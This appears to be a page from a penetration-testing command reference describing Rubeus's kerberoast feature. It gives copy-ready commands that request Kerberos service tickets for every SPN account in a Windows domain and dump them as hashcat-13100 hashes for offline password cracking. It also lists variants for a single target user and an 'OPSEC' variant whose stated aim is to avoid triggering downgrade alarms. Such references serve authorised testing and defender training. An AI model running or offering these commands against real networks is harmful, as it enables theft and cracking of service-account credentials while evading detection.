Command Manager

Rubeus kerberoast

Roast every kerberoastable account in the domain from a Windows host. Auto-discovers SPNs via LDAP and dumps hashcat-13100 hashes. /usetgtdeleg avoids requesting tickets with your own creds; /rc4opsec skips AES-only accounts (no downgrade alarm).

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
Rubeus.exe
Category
Credential Attacks / Kerberoasting
Platform
windows
Requires
shell access
Protocols
KERBEROS, LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

Rubeus.exe kerberoast /outfile:hashes.txt

Credential variants

The same attack using a different authentication material.

Specific User requires shell access

Rubeus.exe kerberoast /user:<target-user> /outfile:hashes.txt

OPSEC (RC4 only) requires shell access

Rubeus.exe kerberoast /rc4opsec /usetgtdeleg /outfile:hashes.txt

Console Output requires shell access

Rubeus.exe kerberoast /simple /nowrap

Examples

Rubeus.exe kerberoast /outfile:hashes.txt

Tags

rubeus kerberoast spn

References